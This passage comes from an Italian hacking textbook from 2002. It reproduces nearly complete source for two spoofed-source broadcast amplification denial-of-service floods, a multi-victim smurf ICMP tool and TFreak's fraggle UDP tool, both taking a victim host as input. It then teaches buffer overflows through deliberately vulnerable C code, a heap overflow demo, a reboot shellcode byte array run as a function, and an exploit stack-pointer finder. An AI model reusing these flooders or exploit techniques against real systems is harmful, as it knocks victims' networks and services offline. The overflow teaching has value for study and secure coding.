                       {
                            perror("Creating raw socket (are you root?)");
                            exit(-1);
                       }

                       /* Include IP headers ourself (thanks anyway though)
*/
                      if (setsockopt(sm[i].s, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) == -1)
                      {
                          perror("setsockopt()");
                          exit(-1);
                      }
                      }/* Fine Ciclo */

                       /* read in our broadcasts and store them in our array
*/
                       while (fgets(buf, sizeof buf, bcastfile) != NULL)
                       {
                           char *p;
                           int valid;

                            /* skip over comments/blank lines */
                            if (buf[0] == '#' || buf[0] == '\n') continue;

                            /* get rid of newline */
                            buf[strlen(buf) - 1] = '\0';

                            /* check for valid address */
                            for (p = buf, valid = 1; *p != '\0'; p++)
                            {
                                if ( ! isdigit(*p) && *p != '.' )
                                {
                                    fprintf(stderr, "Skipping invalid ip
%s\n", buf);
                                    valid = 0;
                                    break;
                                }
                            }




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                           /* if valid address, copy to our array */
                           if (valid)
                           {
                               bcast[num] = inet_addr(buf);
                               num++;
                               if (num == 1024)
                                   break;
                           }
                       } /* end bcast while loop */

                       /* seed our random function */
                       srand(time(NULL) * getpid());
                       /* wee.. */
                        i=0;
                       for (n = 0, cycle = 0; n < sm[0].num ||
!sm[0].num; n++)
                       {
                           if(i==maxip) i=0;
                           smurficmp(&sm[i], bcast[cycle]);

                           /* quick nap */
                           usleep(sm[0].delay);

                           /* cosmetic psychadelic dots */
                           if (n % 50 == 0)
                           {
                               printf("\033[1;34m.\033[0m");
                               fflush(stdout);
                           }

                            i++;
                           cycle = (cycle + 1) % num;
                       }

                       exit(0);
                   }

                   void
                   usage (char *s)
                   {
                        fprintf(stderr,
                                "usage: %s <victim host_1> [<victim
host_2> ... <victim host_10>] <broadcast file> [options]\n"
                                "\n"
                                "Options\n"
                                "-p:        Comma separated list of dest ports
(default 7)\n"
                                "-r:        Use random dest ports\n"
                                "-R:        Use random src/dest ports\n"
                                "-s:        Source port (0 for random
(default))\n"
                                "-S:        Packet size in bytes (default
64)\n"
                                "-f:        Filename containg packet data (not
needed)\n"
                                "-n:        Num of packets to send (0 is
continuous (default))\n"
                                "-d:        Delay inbetween packets (in ms)
(default 10000)\n"
                                "\n", s);
                        exit(-1);
                   }

                   u_long
                   resolve (char *host)
                   {
                       struct in_addr in;
                       struct hostent *he;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


                        /* try ip first */
                        if ((in.s_addr = inet_addr(host)) == -1)
                        {
                            /* nope, try it as a fqdn */
                            if ((he = gethostbyname(host)) == NULL)
                            {
                                /* can't resolve, bye. */
                                herror("Resolving victim host");
                                exit(-1);
                            }

                            memcpy( (caddr_t) &in, he->h_addr, he->h_length);
                        }

                        return(in.s_addr);
                   }


                   void
                   getports (struct smurf_t *sm, char *p)
                   {
                        char tmpbuf[16];
                        int n, i;

                        for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
                        {
                            if (*p == ',')
                            {
                                tmpbuf[i] = '\0';
                                sm->dstport[n] = (u_short) atoi(tmpbuf);
                                n++; i = -1;
                                continue;
                            }

                            tmpbuf[i] = *p;
                        }
                        tmpbuf[i] = '\0';
                        sm->dstport[n] = (u_short) atoi(tmpbuf);
                        sm->dstport[n + 1] = 0;
                   }

                   void
                   smurficmp (struct smurf_t *sm, u_long dst)
                   {
                        struct iphdr *ip;
                        struct icmphdr *icmp;
                        char *packet;

                        int pktsize = sizeof(struct iphdr) + sizeof(struct
icmphdr) + sm->psize;

                        packet = malloc(pktsize);
                        ip = (struct iphdr *) packet;
                        icmp = (struct icmphdr *) (packet + sizeof(struct
iphdr));

                        memset(packet, 0, pktsize);

                        /* fill in IP header */
                        ip->version = 4;
                        ip->ihl = 5;
                        ip->tos = 0;
                        ip->tot_len = htons(pktsize);
                        ip->id = htons(getpid());
                        ip->frag_off = 0;
                        ip->ttl = 255;
                        ip->protocol = IPPROTO_ICMP;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                            ip->check = 0;
                            ip->saddr = sm->sin.sin_addr.s_addr;
                            ip->daddr = dst;

                            /* fill in ICMP header */
                            icmp->type = ICMP_ECHO;
                            icmp->code = 0;
                            icmp->checksum = htons(~(ICMP_ECHO << 8));               /* thx
griffin */

                            /* send it on its way */
                            if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr
*) &sm->sin,
                                 sizeof(struct sockaddr)) == -1)
                            {
                                 perror("sendto()");
                                 exit(-1);
                            }

                            free(packet);                                                      /*
free willy! */
                       }

                       u_short
                       in_chksum (u_short *addr, int len)
                       {
                           register int nleft = len;
                           register u_short *w = addr;
                           register int sum = 0;
                           u_short answer = 0;

                            while (nleft > 1)
                            {
                                sum += *w++;
                                nleft -= 2;
                            }

                            if (nleft == 1)
                            {
                                *(u_char *)(&answer) = *(u_char *)w;
                                sum += answer;
                            }

                            sum = (sum >> 16) + (sum + 0xffff);
                            sum += (sum >> 16);
                            answer = ~sum;
                            return(answer);
                       }

                    int calcolamax(string *s,int argc)
                    {
                      int i,j;
                      for(j=0;j<argc-1;j++)
                      {
                        if(s[j][0]<'1' || s[j][0]>'9') break;
                     }
                      return j;
                    }




Altri Denial of Service
Come ho detto all’inizio gli exploits legati ai Dos li ho volutamente trattai solo superficilamente
in quanto, parte alcuni casi, spesso sono utilizzati soltanto per motivazioni di “rompimento di
scatole” da parte dei vari Superman dell’hacking (quelli che ogi tre parole ci mettono due
porco xxx).



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Alcune volte invece la tecnica è necessaria come ad esempio nel caso in cui si voglia azzittire
un determinato host come nel caso delle tecniche di spoofing viste prima.
Il seguente programma è in grado di portare immediatamente l’uso della CPU a valori
altissimi, creando quindi un Dos.

struct pktinfo
{
    int ps;
    int src;
    int dst;
};
void fraggle (int, struct sockaddr_in *, u_long dest, struct pktinfo *);
void sigint (int);
unsigned short checksum (u_short *, int);
int main (int argc, char *argv[])
{
    struct sockaddr_in sin;
    struct hostent *he;
    struct pktinfo p;
    int s, num, delay, n, cycle;
    char **bcast = malloc(1024), buf[32];
    FILE *bfile;
    /* banner */
    fprintf(stderr, "\nfraggle.c by TFreak\n\n");
    /* capture ctrl-c */
    signal(SIGINT, sigint);
    /* check for enough cmdline args */
    if (argc < 5)
    {
         fprintf(stderr, "usage: %s    "
                         " [dstport] [srcport] [psize] \n\n"
                         "target\t\t= address to hit\n"
                         "bcast file\t= file containing broadcast addrs\n"
                         "num packets\t= send n packets (n = 0 is
constant)\n"
                         "packet delay\t= usleep() between packets (in ms)\n"
                         "dstport\t\t= port to hit (default 7)\n"
                         "srcport\t\t= source port (0 for random)\n"
                         "ps\t\t= packet size\n\n",
                         argv[0]);
         exit(-1);
    }
    /* get port info */
    if (argc >= 6)
         p.dst = atoi(argv[5]);
    else
         p.dst = 7;
    if (argc >= 7)
         p.src = atoi(argv[6]);
    else
         p.src = 0;

    /* packet size redundant if not using echo port */
    if (argc >= 8)
         p.ps = atoi(argv[7]);
    else
         p.ps = 1;
    /* other variables */
    num = atoi(argv[3]);
    delay = atoi(argv[4]);
    /* resolve host */
    if (isdigit(*argv[1]))
         sin.sin_addr.s_addr = inet_addr(argv[1]);
    else
    {
         if ((he = gethostbyname(argv[1])) == NULL)
         {



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

            fprintf(stderr, "Can't resolve hostname!\n\n");
            exit(-1);
        }
        memcpy( (caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
    }
    sin.sin_family = AF_INET;
    sin.sin_port = htons(0);
    /* open bcast file and build array */
    if ((bfile = fopen(argv[2], "r")) == NULL)
    {
        perror("opening broadcast file");
        exit(-1);
    }
    n = 0;
    while (fgets(buf, sizeof buf, bfile) != NULL)
    {
        buf[strlen(buf) - 1] = 0;
        if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0]))
             continue;
        bcast[n] = malloc(strlen(buf) + 1);
        strcpy(bcast[n], buf);
        n++;
    }
    bcast[n] = '\0';
    fclose(bfile);

    /* check for addresses */
    if (!n)
    {
        fprintf(stderr, "Error: No valid addresses in file!\n\n");
        exit(-1);
    }
    /* create our raw socket */
    if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <= 0)
    {
        perror("creating raw socket");
        exit(-1);
    }
    printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
    for (n = 0, cycle = 0; n < num || !num; n++)
    {
        if (!(n % 25))
        {
            printf(".");
            fflush(stdout);
        }
        srand(time(NULL) * rand() * getpid());
        fraggle(s, &sin, inet_addr(bcast[cycle]), &p);
        if (bcast[++cycle] == NULL)
            cycle = 0;
        usleep(delay);
    }
    sigint(0);
}
void fraggle (int s, struct sockaddr_in *sin, u_long dest, struct pktinfo
*p)
{
    struct iphdr *ip;
    struct udphdr *udp;
    char *packet;
    int r;

    packet = malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
    ip = (struct iphdr *)packet;
    udp = (struct udphdr *) (packet + sizeof(struct iphdr));
    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
    /* ip header */
    ip->protocol = IPPROTO_UDP;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

    ip->saddr = sin->sin_addr.s_addr;
     ip->daddr = dest;
     ip->version = 4;
     ip->ttl = 255;
     ip->tos = 0;
     ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + p-
>ps);
     ip->ihl = 5;
     ip->frag_off = 0;
     ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
     /* udp header */
     udp->len = htons(sizeof(struct udphdr) + p->ps);
    udp->dest = htons(p->dst);
    if (!p->src)
          udp->source = htons(rand());
     else
         udp->source = htons(p->src);
    /* send it on its way */
     r = sendto(s, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + p-
>ps,
                 0, (struct sockaddr *) sin, sizeof(struct sockaddr_in));
     if (r == -1)
     {
          perror("\nSending packet");
         exit(-1);
     }
     free(packet);          /* free willy 2! */
}
unsigned short checksum (u_short *addr, int len)
{
     register int nleft = len;
     register u_short *w = addr;
     register int sum = 0;
     u_short answer = 0;

     while (nleft > 1)
     {
         sum += *w++;
         nleft--;
     }
     if (nleft == 1)
     {
         *(u_char *) (&answer) = *(u_char *) w;
         sum += answer;
     }
     sum = (sum >> 17) + (sum & 0xffff);
     sum += (sum >> 17);
     answer = -sum;
     return (answer);
}

void sigint (int ignoremewhore)
{
    fprintf(stderr, "\nDone!\n\n");
    exit(0);
}



I buffers overflow
Quando una persona, dopo aver studiato l’hacking, scopre che di fatto questo non dispone di
bacchette magiche per riuscire ad entrare nei sistemi remoti, spesso ci rimane male.
La realtà è che non una bacchetta magica ma un piccolo bastoncino alcune volte c’è anche
se utilizzarlo non è sicuramente una delle cose più semplici.
Vi sarete chiesti negli altri capitoli sul come mai venivano trattati argomenti come l’assembler.
Ecco il perché !
Il sistema dei buffer overflow costituisce un metodo per raggiungere due obbiettivi differenti.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Il primo è sicuramente quello più semplice da capire in quanto spesso vi sarà capitato senza
volerlo e precisamente quello di vedere il programma che smette di funzionare creando un
crash di sistema.
I programmi eseguiti in memoria sono costituiti da istruzioni in codice binario, interpretabili
anche come codice assemblativo, le quali vengono eseguite dal processore mediante l’ausilio
di quello che è il puntatore all’istruzione (IP o instruction pointer).
Quando per qualsiasi motivo l’istruzione che sta per essere interpretata cambia, vuoi per un
disturbo nella RAM che ha modificato il valore del codice operativo oppure perché i valori
sono stati sovrapposti con altri per errori nell’ambito delle funzioni di assegnazione della
memoria, il programma cessa di funzionare facendoci uscire a sistema operativo oppure
bloccando tutto a tal punto da dover resettare fisicamente il sistema.
Come stavamo dicendo il sistema di overflow dei buffers potrebbe avere due scopi ben
definiti e precisamente il primo legato al tentativo di mandare in crash un programma mentre
il secondo quello di mandare in esecuzione del codice specificato nel buffer stesso come
codici esadecimali.
Il primo sistema potrebbe essere rappresento da uno schema usato per fare comprendere il
principio il quale ha uno scopo più dimostrativo che pratico in quanto poi in realtà il metodo
per eseguirlo si basa sempre su questo sistema ma utilizzando altri riferimenti di memoria.
In ogni caso vediamo prima di cercare di dimostrare il concetto dell’overflow di memoria
usando questo esempio.
Supponete che la dichiarazione di una variabile relativa ad un buffer creai un allocazione di
memoria a partire da un certo indirizzo, 00400000 per esempio.
Come abbiamo detto nella parte legata alla programmazione, una variabile di qualsiasi tipo
occupa in memoria un certo spazio, dipendente dal suo tipo, partendo da una locazione
all’interno di uno dei segmenti o delle zone di memoria del programma.
Questo significa che se da qualche parte ci fosse una routine che riceve una sequenza di
caratteri da mettere in quel buffer questa inizierebbe il riempimento partendo dal primo byte di
memoria riservato per questa variabile.
Sempre in termini condizionali, se il programmatore avesse supposto che la lunghezza
massima del buffer avrebbe potuto essere al massimo 100 caratteri significherebbe che per
100 bytes a partire da quest’indirizzo non verrebbe messo null’altro in quanto il sistema
avrebbe riservato la memoria solo per questa variabile.
La definizione del buffer e la routine di inserimento dei valori in questo buffer potrebbe essere
del tipo :


#include <memory.h>
#include <string.h>

char    buffer[100];

char main(void)
{
      char datiricevuti[1000];
      gets(datiricevuti);
      memcpy(buffer, datiricevuti, strlen(datiricevuti));
}


La variabile locale datiricevuti, come potete vedere, è di dimensioni molto maggiori a quella
del buffer allocato globalmente, precisamente 10 volte.
I dati letti dalla funzione GETS verrebbero da prima collocati in questa variabile locale e poi
copiati dentro al buffer dalla funzione MEMCPY.
Da questo si potrebbe capire che il valore inserito da tastiera potrebbe essere fino a 1000
bytes visto che la variabile che riceve direttamente questi dati è di queste dimensioni.
La funzione di copia al limite potrebbe copiare a partire dal primo indirizzo della variabile di
destinazione anche molti BYTES di più di quanti ne potrebbe ricevere buffer.
Tutto questo per il fatto che il programma di fatto non controlla in effetti la dimensione del
buffer da copiare e usa una funzione, STRLEN, che imbastisce il numero di bytes di copiare a
seguito della valutazione del solo buffer di lettura locale.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Questo è quello che potrebbe capitare nei programmi indirizzati alla gestione di servers,
sistemi operativi e librerie varie.
In altre parole alcuni valori passati dall’esterno potrebbero non venire controllati come
lunghezza.
Chiaramente i bytes eccedenti andrebbero a sovrapporsi da qualche altra parte della
memoria.
La visualizzazione del codice in assembler potrebbe essere :

003998B0 unk_4098B0                   db           0 ;                          ; DATA XREF:
sub_401000+29o
003998B1                           db      0   ;
003998B2                           db      0   ;
003998B3                           db      0   ;
003998B4                           db      0   ;
003998B5                           db      0   ;
….
….
00401000 sub_401000                     proc near                              ; CODE XREF:
start+AFp
00401000
00401000 var_3E8                   = byte ptr -3E8h
00401000
00401000                           sub     esp, 3E8h
00401006                           lea     eax, [esp+3E8h+var_3E8]
0040100A                           push    esi
0040100B                           push    edi
0040100C                           push    eax
0040100D                           call    _gets
00401012                           lea     edi, [esp+3F4h+var_3E8]
00401016                           or      ecx, 0FFFFFFFFh
00401019                           xor     eax, eax
0040101B                           add     esp, 4
0040101E                           repne scasb
00401020                           not     ecx
00401022                           dec     ecx
00401023                           lea     esi, [esp+3F0h+var_3E8]
00401027                           mov     edx, ecx
00401029                           mov     edi, offset unk_4098B0
0040102E                           shr     ecx, 2
00401031                           repe movsd
00401033                           mov     ecx, edx
00401035                           and     ecx, 3
00401038                           repe movsb
0040103A                           pop     edi
0040103B                           pop     esi
0040103C                           add     esp, 3E8h
00401042                           retn
00401042 sub_401000                endp


Come potete vedere la linea 00401029 mov             edi, offset unk_4098B0 setta l’offset di dove
caricare il valore.
unk_4098B0 corrisponde al nome dato dal disassemblatore alla variabile buffer.
Capirete che se il valore che verrà copiato è più corto o uguale ai 100 bytes riservati questi
verranno inseriti nello spazio riservato per il buffer stesso.
Se invece di 100 bytes la lunghezza fosse molto maggiore si andrebbe a sovra scrivere la
zona di codice creando problemi seri di esecuzione.
Nel caso precedente l’overflow del buffer avveniva nel caso di un buffer statico allocato in un
segmento dati.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

La stessa cosa in ogni caso avrebbe potuto avvenire anche all’interno di un altro segmento
come ad esempio nell’heap.
Guardate il codice che segue.


#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <memory.h>

void    main(void)
{
      unsigned long diff;
      char *buffer1 = (char *) malloc(16);
      char *buffer2 = (char *) malloc(16);
      diff = (unsigned long) buffer2 - (unsigned long) buffer1;
      printf("ADDR buffer1 = %p, ADDR buffer2 = %p, diff = 0x%x
bytes\n", buffer1, buffer2, diff),
      memset(buffer2, 'A', 15);
      buffer2[15] = '\0';
      printf("Prima del buffer overflow: buffer2 = %s\n", buffer2);
      memset(buffer1, 'B', (unsigned int)(diff + 8));
      printf("Dopo del buffer overflow: buffer2 = %s\n", buffer2);
}


Cosa abbiamo fatto ?
Abbiamo dichiarato due puntatori ovvero due spazi sufficienti a contenere un indirizzo.
Questo indirizzo è stato assegnato con quello relativo a due zone di memoria allocate con la
funzione per l’allocazione dinamica MALLOC().
A questo punto buffer1 contiene l’indirizzo della prima zona di memoria allocata mentre
buffer2 quello del secondo.
Diff a questo punto viene assegnato calcolando la differenza tra l’indirizzo del secondo buffer
meno quello del primo.
In buffer2 mettiamo tutte A mediante la memset.
Ora nel buffer1 assegniamo più valori ‘B’ di quanti essa possa contenere (la sua dimensione
+ 8 bytes).
In questo modo il programma ci mostra gli effetti dello sconfinamento, ovvero dell’overflow,
eseguito.
L’output a video è :


c:\Temp>buffer

ADDR buffer1 = 00321F80, ADDR buffer2 = 00321F98, diff = 0x18 bytes
Prima del buffer overflow: buffer2 = AAAAAAAAAAAAAAA
Dopo del buffer overflow: buffer2 = BBBBBBBBAAAAAAA

c:\Temp>

Esistono molti punti anche legati a DLL di sistema che possiedono degli indirizzi che possono
creare problemi come ad esempio :

Dentro a SHELL32.DLL v 4.72.3110.6

@7FCE2373

In MSIEFTP.DLL v 5.00.2014.209

@71211EE9
@71215C92


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

@712121D8
@71215BE6

Molti linguaggi come ad esempio Visual Basic possiedono all’interno del RUNTIME il controllo
dei valori assegnati.
In altre parole quando con questo linguaggio si dichiarava una variabile di un certo tipo,
stringa ad esempio, in fase d’assegnazione il runtime conteggiava la lunghezza del valore
passato e in caso di un valore eccessivo veniva mostrata una dialog con la segnalazione
dell’errore.
Il Linguaggio C questo non lo fa per cui il corretto dimensionamento degli oggetti deve
sempre essere eseguito dal programmatore.
La cosa tragica è che spesso ilo linguaggio C si basa su funzioni di libreria per l’esecuzione
delle sue funzionalità più semplici come ad esempio l’input da tastiera e la stampa a video.
Sono da considerarsi potenzialmente pericolose le seguenti funzioni:

gets()
sprintf()
strcat()
strcpy()
streadd()
strecpy()
strtrns()
index()
fscanf()
scanf()
sscanf()
vsprintf()
realpath()
getopt()
getpass()

Chiaramente alcune volte i problemi sono interni alle librerie mentre altre volte i problemi
sorgono da fatto che il programmatore non adottata certi sistemi per salvaguardare il sistema.
Partendo dal fatto che i problemi dei buffers overflow sono legati all’uso di quelle funzioni che
non controllano le lunghezze dei dati copiati dentro a dei buffers, l’identificazione dei posti
dove teoricamente potrebbe essere forzato uno di questi può essere eseguito mediante
l’analisi fatta con dei disassemblatori dei vari software e DLL che gestiscono i servers.
Prendiamo ad esempio l’analisi di una DLL che fa parte del sistema di gestione di IIS.

74D40952
74D40952 loc_74D40952:                                                         ; CODE XREF:
.text:74D40947j
74D40952                           push       dword ptr [ebp+8]
74D40955                           push       dword ptr [edi]
74D40957                           call       ds:lstrcpyA
74D4095D                           mov        ax, [ebp+0Ch]
74D40961                           mov        [esi+3Ch], ax
74D40965                           mov        eax, [ebp+10h]
74D40968                           mov        [esi+8Ch], eax
74D4096E                           mov        eax, [ebp+14h]
74D40971                           mov        [esi+0ACh], eax
74D40977
74D40977 loc_74D40977:                                                         ; CODE XREF:
.text:74D40918j
74D40977                                                            ; .text:74D40950j
74D40977                           pop        edi

Qualche anno fa la EEYE, la casa che ha scritto RETINA, bombardò IIS con dei dati in
qualsiasi posto questo potesse accettare un input.
Quello che cervano di ottenere era il crash di questo e di fatto trovarono un punto nel quale
IIS si bloccò lasciando dentro ai registri i seguenti valori.


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


EAX     = 00F7FCC8      EBX     = 00F41130       ECX     = 41414141      EDX     = 77F9485A
ESI     = 00F7FCC0      EDI     = 00F7FCC0       EIP     = 41414141      ESP     = 00F4106C
EBP     = 00F410BC      EFL     = 00000246

La cosa interessante era legata al registro EIP (l’instruction pointer) uguale a 0x41414141 in
quanto la sringa che loro avevano usato per bombardare il programma era di fatto una
lunghissima sequenza di 0x41.
Questo significava che parte del valore inserito nel buffer era andato a sovrascrivere una
valore di ritorno per cui era stato ripristinato dentro al registro EIP.
Quando un hacker mediante un analisi dei programmi con disassemblatori riesce a trovare
una funzione vulnerabile, deve anche guardare bene come la funzione prende l’input dal
mondo esterno.
Gli strumenti per questo tipo di analisi rimangono in primis i disassemblatori ma di fatto anche
i debuggers possono essere usati.
Alla fine di questo capitolo vedremo anche le metodologie di programmazione che possono
salvare dai buffer overflow.
Come abbiamo già visto durante la trattazione del linguaggio, il C non tratta come oggetti
quelle che altri linguaggi definiscono con il termine di STRINGHE.
Questo significa che sequenze di caratteri vengono viste dal C come se fossero degli arrays
di tipi semplici.
In altre parole la stringa “FLAVIO” viene vista come una sequenza di 7 caratteri (6 di
lunghezza + 1 NULL di fine stringa).
Nell’esempio precedente abbiamo visto cosa capita se un valore da una zona di memoria
sconfina in un'altra zone relativa a qualche altro oggetto.
Ma se questo punto fossimo andati a soprascrivere una zona con all’interno del codice, che
cosa sarebbe capitato ?
Parlando dell’assembler abbiamo visto come di fatto i nostri programmi possono essere visti
come sequenze di CODICI OPERATIVI (OPCODE) ciascuno dei quali corrispondono ad un
codice di un istruzione assembler relativa al processore.
Facciamo un altro esempio.
Pendiamo un piccolissimo programma in assembler che svolga qualche funzione.
Esiste nel sistema operativo una zona del BIOS che richiamandola, dopo avere settato 1234
nel registro AX, permette di fare il BOOT della macchina.
Il seguente programma esegue il reboot del sistema.

STI
XOR        BX,BX
MOV        DS,BX
MOV        BX,0472
MOV        AX,1234
MOV        [BX],AX
JMP        FFFF:0000

Ora compiliamo il programma con il compilatore Visual C con il flag che permette di creare il
sorgente in assembler.


Cl – Faprova.asm prova.c


Andiamo a vedere la traduzione in assembler e ricopiamo i codici operativi in esadecimale di
quel codice.


0xFB,0x31,0xDB,0x8E,0xDB,0xBB,0x72,0x04,0xB8,
0x34,0x12,0x89,0x07,0xEA,0x00,0x00,0xFF,0xFF


A questo punto facciam0o una prova molto semplice.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Mettiamo questi codici dentro ad un array numerico e poi facendogli credere al sistema che
quello non è l’indirizzo di un array di numeri ma l’indirizzo d’inizio di una funzione proviamo a
chiamarla.
Sorpresa !
Il codice viene eseguito esattamente come se in effetti fossero istruzioni originarie del
programma.
Questo significa che se noi da qualche parte riuscissimo a mettere in
memoria i codici operativi di qualche funzionalità questa potrebbe essere
tranquillamente eseguita.

        unsigned char far array[] = {
                                  /* ---- [CODICE DI BOOT.COM] ----                           */
                  0xFB,0x31,0xDB, /* FB            STI                                        */
                  0x8E,0xDB,0xBB, /* 31DB          XOR     BX,BX                              */
                  0x72,0x04,0xB8, /* 8EDB          MOV     DS,BX                              */
                  0x34,0x12,0x89, /* BB7204        MOV     BX,0472                            */
                  0x07,0xEA,0x00, /* B83412        MOV     AX,1234                            */
                  0x00,0xFF,0xFF /* 8907           MOV     [BX],AX                            */
                                  /* EA0000FFFF    JMP     FFFF:0000                          */
                                  /* -------------------------------                          */
          };

           void       main(void)
           {
                      void (far *funct)() = (void(far *)()) array;
                      (*funct)();
           }


Ma come ho già detto prima, a noi l’uso dei buffers overflow al fine di interrompere
bruscamente un programma non ci interessa in quanto la cosa interessante è invece quella
legata all’esecuzione di codice aggiuntivo il quale potrebbe essere relativo a qualche
chiamata a procedure esterne come l’attivazione di shell o cose di questo tipo.
Per fare questo si deve conoscere bene la struttura dei programmi e in particolare l’uso dello
STACK.
Per capire bene questo meccanismo, come abbiamo detto prima, si deve conoscere bene
come un processo è organizzato in memoria.
I processi sono suddivisi in tre regioni e precisamente nel segmento di TEXT o codice, in
quello di DATA o dei dati ed infine nel segmento di STACK.
La seguente immagine mostra i segmenti visti con un analizzatore di PE di programma.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

La definizione di questi segmenti è stato visto nel capitolo legato alla programmazione
assembler ma in ogni caso possiamo rinfrescare le idee ripetendo che questo è destinato a
contenere il codice dei programmi ovvero le istruzioni..
I segmenti di DATA possono contenere dati inizializzati prima e poi quelli non inizializzati.
In questa regione vengono salvate le variabili statiche.



                Parte bassa memoria

                                         Codice (TEXT)


                                       Dati inizializzati
                                      Dati non inizializzati


                                             Stack


                Parte alta memoria



Il concetto fondamentale comunque rimane quello dello stack il quale, volendo ripetere al
definizione, è uno dei concetti fondamentali dell’informatica.
Teoricamente è un tipo d’oggetto utilizzato per memorizzare dei valori in cui l’ultimo valore
inserito sarà il primo ad uscire.
Nel capitolo legato all’assembler lo abbiamo paragonato allo spunzone delle consumazioni
del barista nel quale il primo biglietto a essere inserito sarà anche l’ultimo ad essere estratto.
Il termine per definire questo tipo di gestione è LIFO ovvero LAST INPUT FIRST OUTPUT.
In termine di programmi invece lo stack è un segmento utilizzato per la memorizzazione delle
variabili locali e per il contenimento dei valori di ritorno legati alle chiamate delle funzioni.
Quando una funzione viene chiamata il valore dell’indirizzo di dove questa è avvenuta viene
inserita nello stack e successivamente il registro EIP viene aggiornato con l’indirizzo di dove il
programma deve saltare.
Successivamente quando la funzione viene terminata il valore viene prelevato dallo stack e
viene ripristinato.
Le istruzioni assembler che permettono di inserire ed estrarre valori dallo stack sono PUSH e
POP.
I computer moderni sono concepiti tenendo a mente i linguaggi di programmazione ad alto
livello, al contrario dei sistemi di molti anni fa che avevano l’assembler come linguaggio
fondamentale.
Questi tipi di linguaggi contemplano nei concetti di procedura o funzione le strutture
fondamentali per le loro gestioni.
Come abbiamo appena detto la gestione dei flussi d’esecuzione quando esistono chiamate a
funzioni pretendono che i valori di ritorno dopo le chiamate vengano memorizzati da qualche
parte.
Lo stack abbiamo appunto detto che è la zona di memoria ideale per tali gestioni.
Lo stack fisicamente deve essere concepito come un blocco di memoria in cui i bytes sono
consecutivi.
All’interno del processore esistono due registri il cuoi scopo è appunto quello legato al
corretto funzionamento dello stack.
Ogni volta che avviene una chiamata ad una funzione l’indirizzo di ritorno viene PUSH-ato
nello stack mentre tutte le volte che si presenta un istruzione di RET-urn da una di queste il
valore viene POP-ato.
Il registro SP generalmente punta all’ultimo indirizzo dello stack e più precisamente sul primo
bytes libero dopo di questo.
Il seguente programmino server a stampare sp semplicemente copiandolo dentro al registro
EAX all’interno della funzione sp().


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Vi ricorderete che le funzioni restituiscono il valore di ritorno mediante il registro AX.

unsigned long sp(void) {
        __asm__("movl %esp, %eax");
}

void main(void) {
        printf("0x%x\n", sp());
}

Un programma che può essere usato per calcolare la posizione dello stack è quello che
segue:

/**************************************************************************/
/* Calculate the stack pointer value for this program. Since it doesn't */
/* vary very much from one program to another inside the same shell, the */
/* returned value can be used with a good accuracy. The output is in a    */
/* binary format so that it can be concatenated to another string         */
/* containing a portion of code. Warning !! The value returned mustn't    */
/* have any of its 4 bytes set to 0, or it will be an 'end of string'.    */
/* You can play with argv to subtract a value to the stack before giving */
/* it to stdout.                                                          */
/*                                                                        */
/*                                                 Willy                  */
/**************************************************************************/

#include <stdio.h>

static inline getesp() {
  __asm__(" movl %esp,%eax ");
}

main (int argc, char **argv) {
  long unsigned esp;
  int decal=0;

    if (argc>1) decal=atoi(argv[1]);

    esp=getesp()-decal;
    fwrite(&esp,4,1,stdout);
    fwrite(&esp,4,1,stdout);
}

Alcuni tipi di processori oltre a possedere questo registro considerano conveniente possedere
un FRAME POINTER (FP) utilizzato per puntare ad una locazione fissa all’interno di un
frame.
La prima cosa che una procedura deve fare quando viene chiamata è salvare il valore del
precedente FP e quindi salvare dentro a questo il valore di SP in modo da creare un nuovo
FRAME POINTER e quindi salvare SP in modo di riservare spazio per le variabili locali.
Questo codice è definito con il termine di PROCEDURE PROLOG.
Quando una procedura termina o esce lo stack deve essere pulito nuovamente tramite un
altro codice chiamato PROCEDURE EPILOG.
Nel caso dei processori INTEL questo viene fatto dalle istruzioni assembler ENTER e LEAVE
mentre nei processori MOTOROLA da quelle LINK e UNLINK.
Creiamo il seguente programma :

void    funzione(int a, int b, int c)
{
        char buffer1[5];
        char buffer2[10];
}

void main(void)
{


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

          funzione(1,2,3);
}

Compiliamo ora sotto Linux con :

gcc –S –o nome_esempio..s nome_esempio.c

Andando a vedere con gdb , il debugger, la traslazione fatta in assembler ci troveremo
davanti a :

pushl     $3
pushl     $2
pushl     $1
call      funzione

Come potete vedere i tre PUSH inseriscono nello stack i parametri passati
alla funzione chiamata nella linea successiva la quale, quando riceverà il
controllo, estrarrà i tre vaolori dallo stack e li userà nella sua procedura.
Questa funzionalità viene eseguita dal seguente prologo della procedura :

pushl %ebp
movl %esp, %ebp
subl $20, %esp

Quseto prologo inserisce nello stack il frame pointer, quindi copia il contenuto del registro SP
